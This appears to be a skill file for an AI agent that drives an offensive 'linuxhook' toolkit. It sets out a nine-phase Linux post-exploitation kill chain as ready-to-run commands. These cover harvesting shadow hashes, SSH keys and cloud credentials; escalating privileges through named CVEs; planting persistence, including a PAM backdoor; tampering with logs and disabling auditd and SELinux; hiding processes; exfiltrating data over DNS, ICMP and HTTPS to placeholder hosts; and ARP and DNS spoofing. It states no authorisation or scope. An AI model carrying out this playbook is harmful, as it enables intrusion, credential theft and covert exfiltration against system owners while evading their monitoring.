---
name: linux-postexploit
description: Linux post-exploitation — credential harvesting, privilege escalation, persistence, lateral movement, evasion, exfiltration, and network attacks with multi-exec fallback (bash/sh/python3/perl/busybox) and stealth modes (base64/memfd/shm)
category: post-exploitation
tags: [linux, post-exploitation, credential-access, privilege-escalation, persistence, lateral-movement, defense-evasion, exfiltration, network-attacks, shadow, ssh-keys, sudo, suid, capabilities, cron, systemd, pam, selinux, apparmor, kernel-exploit, docker-escape, lxd-escape, nfs, ansible, puppet, salt, dns-tunnel, icmp-exfil, arp-spoof, steganography, rootkit, auditd, log-tampering, memfd, shm, busybox]
tech_stack: [linux, bash, python3, perl, busybox]
cwe_ids: [CWE-269, CWE-522, CWE-312, CWE-426, CWE-693, CWE-287, CWE-200, CWE-78]
chains_with: [T1003.008, T1552.004, T1552.001, T1552.003, T1555.001, T1555.003, T1087.001, T1082, T1049, T1057, T1069.001, T1083, T1548.003, T1548.001, T1068, T1574.006, T1574.001, T1053.003, T1078.003, T1611, T1053.001, T1053.003, T1547.006, T1136.001, T1098.004, T1547.004, T1556.003, T1037.004, T1546.004, T1543.002, T1546.014, T1547.013, T1021.004, T1072, T1210, T1572, T1090, T1046, T1070.002, T1070.003, T1070.006, T1562.001, T1562.004, T1014, T1564.001, T1048.001, T1048.003, T1041, T1027, T1557.002, T1040, T1595.001, T1005, T1001.002]
prerequisites: [T1068, T1548.003]
version: "1.0"
---

# Linux Post-Exploitation Methodology

Linux post-exploitation uses native tools and scripting for credential harvesting, privilege escalation, persistence, lateral movement, defense evasion, data exfiltration, and network attacks. After gaining a shell on a Linux target, these 118 programs across 8 categories provide comprehensive offensive capabilities — from /etc/shadow extraction to kernel exploit checks, from cron/systemd persistence to DNS tunnel exfiltration, from SELinux/AppArmor bypass to ARP spoofing.

## Multi-Exec Engine

All 118 programs support multiple execution methods with automatic fallback:

| Method | Engine | When to Use |
|--------|--------|-------------|
| `bash` | GNU Bash (default) | Full bash access, most compatible |
| `sh` | POSIX sh | Bash unavailable, minimal environments |
| `python3` | Python 3 | Complex operations, memfd stealth |
| `perl` | Perl | Legacy systems, regex-heavy operations |
| `busybox` | BusyBox | Embedded/minimal Linux, containers |
| `auto` | Auto-detect best | Unknown environment — runs detect_env |

```bash
linuxhook shadow_dump --exec sh
linuxhook kernel_exploit_check --exec auto
```

## Stealth Modes

| Mode | Technique | Use Case |
|------|-----------|----------|
| `base64` | `echo ENCODED \| base64 -d \| bash` | Bypass string-based command logging |
| `memfd` | Python3 `memfd_create` fileless exec | No file touches disk, bypasses file monitoring |
| `shm` | `/dev/shm` tmpfs execution | Fast tmpfs execution, auto-cleanup |

```bash
linuxhook shadow_dump --stealth base64
linuxhook cron_persist --stealth memfd --command CMD
```

## Prerequisites

Before deploying linuxhook tools, verify:

1. **Environment detection** — run `linuxhook detect_env` FIRST to determine available tools and recommended exec method
2. **Access level** — check root/sudo status; most credential and persistence operations require elevated privileges
3. **Security frameworks** — run `linuxhook security_framework` to assess SELinux, AppArmor, seccomp, and audit status
4. **Container check** — run `linuxhook container_detect` to verify you're on the host, not in a container

```bash
# Step 0 — environment detection (ALWAYS run first)
linuxhook detect_env

# Step 1 — stealth capability check
linuxhook stealth_check_linux
```

## Kill Chain Phases

### Phase 1 — Reconnaissance

Comprehensive system and environment assessment.

| Action | Command | Purpose |
|--------|---------|---------|
| Environment detect | `linuxhook detect_env` | **ALWAYS run first** — exec methods, root status, kernel, security frameworks |
| Full recon | `linuxhook local_recon_linux` | All-in-one system/user/network/process/security scan |
| System info | `linuxhook system_info --verbose` | Hostname, kernel, CPU, memory, uptime, environment |
| Process enum | `linuxhook process_enum` | Running processes, security tools, monitoring agents |
| Network enum | `linuxhook network_enum` | Interfaces, routes, DNS, connections, iptables rules |
| User enum | `linuxhook user_enum` | Users, groups, sudo members, SSH keys, home dirs |
| Service enum | `linuxhook service_enum` | Systemd units, init.d scripts, daemons |
| Package enum | `linuxhook package_enum --security-only` | Security-relevant packages and CVE candidates |
| Container detect | `linuxhook container_detect` | Docker/LXC/K8s/Podman/WSL detection |
| Security framework | `linuxhook security_framework` | SELinux, AppArmor, seccomp, PAM, audit status |
| Interesting files | `linuxhook interesting_files --deep` | SUID/SGID, world-writable, configs, backups, keys |
| Mount enum | `linuxhook mount_enum` | Filesystems, NFS/CIFS, mount options (nosuid/noexec) |
| Kernel modules | `linuxhook kernel_module_enum` | Loaded modules, security modules, rootkit indicators |
| Stealth check | `linuxhook stealth_check_linux` | Test all exec methods and stealth modes |

### Phase 2 — Credential Harvesting

Extract credentials from multiple sources.

| Action | Command | Purpose |
|--------|---------|---------|
| Shadow dump | `linuxhook shadow_dump` | /etc/shadow hash extraction and analysis |
| SSH keys | `linuxhook ssh_key_harvest` | SSH private keys from all users |
| History secrets | `linuxhook bash_history_secrets` | Passwords/tokens from shell history |
| GNOME Keyring | `linuxhook gnome_keyring_dump` | GNOME Keyring stored passwords |
| KWallet | `linuxhook kwallet_dump` | KDE Wallet stored passwords |
| Browser creds | `linuxhook browser_creds_linux --browser all` | Chrome/Firefox saved passwords and cookies |
| Environment | `linuxhook env_secrets` | API keys/tokens from /proc/*/environ |
| Process memory | `linuxhook proc_memory_harvest` | Credentials from sshd/sudo/su process memory |
| GPG keys | `linuxhook gpg_key_extract` | GPG private keys and passphrases |
| Cloud creds | `linuxhook cloud_cred_harvest` | AWS/GCP/Azure credential files and metadata |
| Docker creds | `linuxhook docker_config_creds` | Docker registry auth tokens |
| Git creds | `linuxhook git_cred_harvest` | Git credentials, GitHub/GitLab tokens |
| WiFi creds | `linuxhook wifi_creds_nm` | NetworkManager WiFi passwords |
| Kerberos | `linuxhook kerberos_keytab` | Keytab files and ccache tickets |
| Database creds | `linuxhook db_cred_harvest` | MySQL/PostgreSQL/MongoDB/Redis credentials |
| VNC password | `linuxhook vnc_password` | VNC password files (DES-encrypted, trivially reversible) |
| Mail spool | `linuxhook mail_spool_harvest` | Credentials in email (password resets, tokens) |
| Netrc | `linuxhook netrc_harvest` | Plaintext .netrc FTP/HTTP credentials |
| LDAP creds | `linuxhook ldap_cred_harvest` | LDAP bind passwords from configs |
| Credential scan | `linuxhook credential_files_scan --deep` | Broad filesystem credential file discovery |

### Phase 3 — Privilege Escalation

Escalate from standard user to root via 25 techniques.

| Action | Command | Purpose |
|--------|---------|---------|
| Sudo misconfig | `linuxhook sudo_misconfig` | Sudoers analysis, NOPASSWD, GTFOBins |
| SUID/SGID scan | `linuxhook suid_sgid_scan` | SUID/SGID binaries with GTFOBins matching |
| Capabilities | `linuxhook capabilities_abuse` | Dangerous capabilities (cap_setuid, cap_sys_admin) |
| Cron privesc | `linuxhook cron_privesc` | Writable cron scripts, PATH hijack |
| NFS root squash | `linuxhook nfs_no_root_squash` | NFS no_root_squash SUID escalation |
| PATH hijack | `linuxhook path_hijack` | Writable PATH directories for root scripts |
| LD_PRELOAD | `linuxhook ld_preload_abuse` | LD_PRELOAD env_keep and ld.so.preload |
| Kernel exploits | `linuxhook kernel_exploit_check` | DirtyPipe, DirtyCow, PwnKit, OverlayFS, netfilter |
| Writable passwd | `linuxhook writable_passwd` | Add root user to writable /etc/passwd |
| PwnKit | `linuxhook pkexec_cve` | CVE-2021-4034 pkexec local privesc |
| Systemd units | `linuxhook systemd_unit_abuse` | Writable service files, ExecStart override |
| D-Bus exploit | `linuxhook dbus_exploit` | D-Bus services with permissive policies |
| pip setup abuse | `linuxhook pip_setup_abuse` | sudo pip install code execution |
| Shared lib hijack | `linuxhook shared_lib_hijack` | RPATH/RUNPATH library hijacking |
| logrotate race | `linuxhook logrotate_race` | CVE-2016-1247 log symlink race |
| Writable services | `linuxhook writable_service_bin` | Root services with writable binaries |
| Polkit bypass | `linuxhook polkit_bypass` | CVE-2021-3560, CVE-2021-4034 |
| Snap privesc | `linuxhook snap_privesc` | DirtySnap CVE-2022-3328 |
| Docker escape | `linuxhook docker_group_escape` | Docker group → root via host mount |
| LXD escape | `linuxhook lxd_group_escape` | LXD group → root via container privesc |
| Python lib hijack | `linuxhook python_lib_hijack` | Writable sys.path, PYTHONPATH injection |
| MOTD abuse | `linuxhook motd_abuse` | Writable /etc/update-motd.d/ scripts |
| Wildcard injection | `linuxhook wildcard_injection` | tar/rsync/chown wildcard in cron/scripts |
| MySQL UDF | `linuxhook mysql_udf` | MySQL UDF → system command execution |
| ptrace scope | `linuxhook ptrace_scope_check` | Yama ptrace_scope restrictions |

### Phase 4 — Persistence

Establish persistent access via 22 mechanisms.

| Action | Command | Purpose |
|--------|---------|---------|
| Cron | `linuxhook cron_persist --command CMD` | Crontab or /etc/cron.d/ persistence |
| Systemd | `linuxhook systemd_persist --command CMD --name NAME` | Systemd service/timer auto-start |
| Bashrc | `linuxhook bashrc_persist --command CMD` | Shell RC file injection |
| SSH keys | `linuxhook ssh_authorized_keys --key PUBKEY` | SSH authorized key injection |
| ld.so.preload | `linuxhook ld_so_preload --library PATH` | System-wide library injection |
| SysVinit | `linuxhook sysvinit_persist --command CMD` | /etc/init.d/ script persistence |
| at job | `linuxhook at_job_persist --command CMD --time TIME` | Delayed one-time execution |
| udev rules | `linuxhook udev_rules_persist --command CMD` | Device-event triggered execution |
| PAM backdoor | `linuxhook pam_backdoor --password PASS` | Master password authentication bypass |
| MOTD | `linuxhook motd_persist --command CMD` | Login-triggered root execution |
| XDG autostart | `linuxhook xdg_autostart --command CMD` | Graphical session autostart |
| Git hooks | `linuxhook git_hook_persist --command CMD --repo PATH` | Git operation hooks |
| Kernel module | `linuxhook kernel_module_persist --module PATH` | Boot-persistent kernel module |
| APT hook | `linuxhook apt_hook_persist --command CMD` | Execute on apt operations |
| dpkg trigger | `linuxhook dpkg_trigger_persist --command CMD` | Execute on package operations |
| Socket activation | `linuxhook socket_activation --command CMD --port PORT` | On-demand systemd socket service |
| User service | `linuxhook user_service_persist --command CMD` | Rootless systemd user service |
| xinetd | `linuxhook xinetd_persist --command CMD --port PORT` | On-connection service spawning |
| rc.local | `linuxhook rc_local_persist --command CMD` | Legacy boot script execution |
| logrotate | `linuxhook logrotate_persist --command CMD` | Log rotation hook execution |
| SSH RC | `linuxhook ssh_rc_persist --command CMD` | Pre-shell SSH login execution |
| ld.so.conf | `linuxhook ld_config_persist --library-path PATH` | Library search path injection |

### Phase 5 — Lateral Movement

Move laterally using Linux infrastructure.

| Action | Command | Purpose |
|--------|---------|---------|
| SSH pivot | `linuxhook ssh_pivot --target HOST` | SSH key/password lateral movement |
| Ansible | `linuxhook ansible_abuse` | Exploit Ansible for mass execution |
| Puppet | `linuxhook puppet_abuse` | Exploit Puppet agent/master trust |
| Salt | `linuxhook salt_abuse` | Exploit SaltStack master→minion |
| NFS mount | `linuxhook nfs_mount_attack --target HOST` | Mount NFS exports for file access |
| rsync | `linuxhook rsync_exploit --target HOST` | Exploit anonymous rsync access |
| SSH tunnel | `linuxhook ssh_tunnel --target HOST --type dynamic` | SOCKS/local/remote SSH tunnels |
| socat tunnel | `linuxhook socat_tunnel --listen PORT --connect HOST:PORT` | TCP/UDP/SSL tunnels |
| Internal scan | `linuxhook internal_scan --target CIDR` | Ping sweep and port scan |
| Proxychains | `linuxhook proxychains_setup --proxy HOST:PORT` | Configure proxychains for tunneling |

### Phase 6 — Defense Evasion

Evade monitoring and detection.

| Action | Command | Purpose |
|--------|---------|---------|
| Log tamper | `linuxhook log_tamper` | Surgical log entry removal |
| History clear | `linuxhook history_clear` | Shell history cleanup |
| Timestomp | `linuxhook timestomp --target PATH --reference REF` | Modify file timestamps |
| auditd evade | `linuxhook auditd_evade --action check` | Disable/modify audit subsystem |
| SELinux bypass | `linuxhook selinux_bypass --action check` | Set permissive, exploit domains |
| AppArmor bypass | `linuxhook apparmor_bypass --action check` | Set complain mode, disable profiles |
| Rootkit detect | `linuxhook rootkit_detect --deep` | Detect existing rootkits and hooks |
| Process hide | `linuxhook process_hide --pid PID` | Hide processes from enumeration |
| File hide | `linuxhook file_hide --path PATH` | Hide files from directory listings |
| Network hide | `linuxhook network_hide --port PORT` | Hide network connections |
| Syslog manipulate | `linuxhook syslog_manipulate --action filter` | Redirect/filter syslog entries |
| Stealth check | `linuxhook stealth_check_linux` | Verify stealth modes work on target |

### Phase 7 — Data Exfiltration

Stage and exfiltrate data through multiple channels.

| Action | Command | Purpose |
|--------|---------|---------|
| Stage data | `linuxhook data_stage --path PATH` | Find, compress, encrypt sensitive files |
| DNS tunnel | `linuxhook dns_tunnel_exfil --file PATH --domain DOMAIN` | Exfil via DNS subdomain encoding |
| ICMP exfil | `linuxhook icmp_exfil --file PATH --target IP` | Exfil via ICMP echo payload |
| Covert channel | `linuxhook covert_channel --type timing --target HOST` | Timing/storage/protocol covert channels |
| HTTPS exfil | `linuxhook https_exfil --file PATH --url URL` | POST data over TLS |
| Artifact enum | `linuxhook artifact_enum` | Enumerate forensic artifacts from engagement |
| Steganography | `linuxhook steganography_exfil --file PATH --cover IMAGE` | Hide data in image/audio files |

### Phase 8 — Network Attacks

Network-level attacks from compromised host.

| Action | Command | Purpose |
|--------|---------|---------|
| ARP spoof | `linuxhook arp_spoof --target IP --gateway IP` | ARP cache poisoning for MITM |
| DNS spoof | `linuxhook dns_spoof --domain DOMAIN --ip IP` | DNS response spoofing |
| Packet capture | `linuxhook packet_capture --interface eth0 --duration 60` | Traffic capture with BPF filters |
| Port scan | `linuxhook port_scan_native --target HOST --ports 1-1024` | Native port scanning (no nmap needed) |
| MITM proxy | `linuxhook mitm_proxy --port 8080` | Transparent proxy for interception |
| Responder | `linuxhook responder_linux --interface eth0` | LLMNR/NBT-NS hash capture |
| Firewall enum | `linuxhook firewall_enum` | iptables/nftables/ufw/firewalld rules |
| Traffic redirect | `linuxhook traffic_redirect --src-port 80 --dst HOST:8080` | iptables DNAT/SNAT forwarding |
| WiFi attack | `linuxhook wifi_attack --action scan` | Wireless scanning, deauth, handshake capture |

### Phase 9 — Cleanup (MANDATORY)

Always run cleanup before leaving a target.

```bash
linuxhook cleanup_linux
```

Removes CyberStrike artifacts: clears logs, removes persistence mechanisms, restores modified configs, cleans temp files.

## Detection Considerations

Linux post-exploitation tools are detectable by:
- **auditd** — syscall monitoring, file access, process execution
- **SELinux/AppArmor** — mandatory access control enforcement
- **AIDE/Tripwire** — file integrity monitoring
- **syslog/journald** — authentication logs, system events
- **Falco/Sysdig** — runtime security monitoring
- **OSSEC/Wazuh** — host-based intrusion detection
- **eBPF-based tools** — kernel-level monitoring (Cilium, Tetragon)

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| shadow_dump | /etc/shadow hash extraction | T1003.008 — /etc/passwd and /etc/shadow |
| ssh_key_harvest | SSH private key collection | T1552.004 — Private Keys |
| bash_history_secrets | Shell history credential extraction | T1552.003 — Bash History |
| gnome_keyring_dump | GNOME Keyring extraction | T1555.001 — Keychain |
| browser_creds_linux | Browser credential extraction | T1555.003 — Credentials from Web Browsers |
| env_secrets | Environment variable secrets | T1552.001 — Credentials In Files |
| proc_memory_harvest | Process memory credential harvesting | T1003 — OS Credential Dumping |
| cloud_cred_harvest | Cloud provider credential files | T1552.001 — Credentials In Files |
| sudo_misconfig | Sudo misconfiguration analysis | T1548.003 — Sudo and Sudo Caching |
| suid_sgid_scan | SUID/SGID binary exploitation | T1548.001 — Setuid and Setgid |
| capabilities_abuse | Linux capabilities exploitation | T1548.001 — Setuid and Setgid |
| kernel_exploit_check | Kernel CVE assessment | T1068 — Exploitation for Privilege Escalation |
| docker_group_escape | Docker group privilege escalation | T1611 — Escape to Host |
| cron_persist | Cron-based persistence | T1053.003 — Cron |
| systemd_persist | Systemd service persistence | T1543.002 — Systemd Service |
| ssh_authorized_keys | SSH key persistence | T1098.004 — SSH Authorized Keys |
| pam_backdoor | PAM authentication backdoor | T1556.003 — Pluggable Authentication Modules |
| ssh_pivot | SSH lateral movement | T1021.004 — SSH |
| ansible_abuse | Ansible infrastructure abuse | T1072 — Software Deployment Tools |
| log_tamper | Log entry manipulation | T1070.002 — Clear Linux or Mac System Logs |
| history_clear | Shell history removal | T1070.003 — Clear Command History |
| timestomp | File timestamp modification | T1070.006 — Timestomp |
| auditd_evade | Audit system evasion | T1562.001 — Disable or Modify Tools |
| selinux_bypass | SELinux bypass | T1562.001 — Disable or Modify Tools |
| rootkit_detect | Rootkit detection | T1014 — Rootkit |
| dns_tunnel_exfil | DNS-based data exfiltration | T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol |
| arp_spoof | ARP cache poisoning | T1557.002 — ARP Cache Poisoning |
| packet_capture | Network traffic capture | T1040 — Network Sniffing |
| cleanup_linux | Artifact removal | T1070 — Indicator Removal |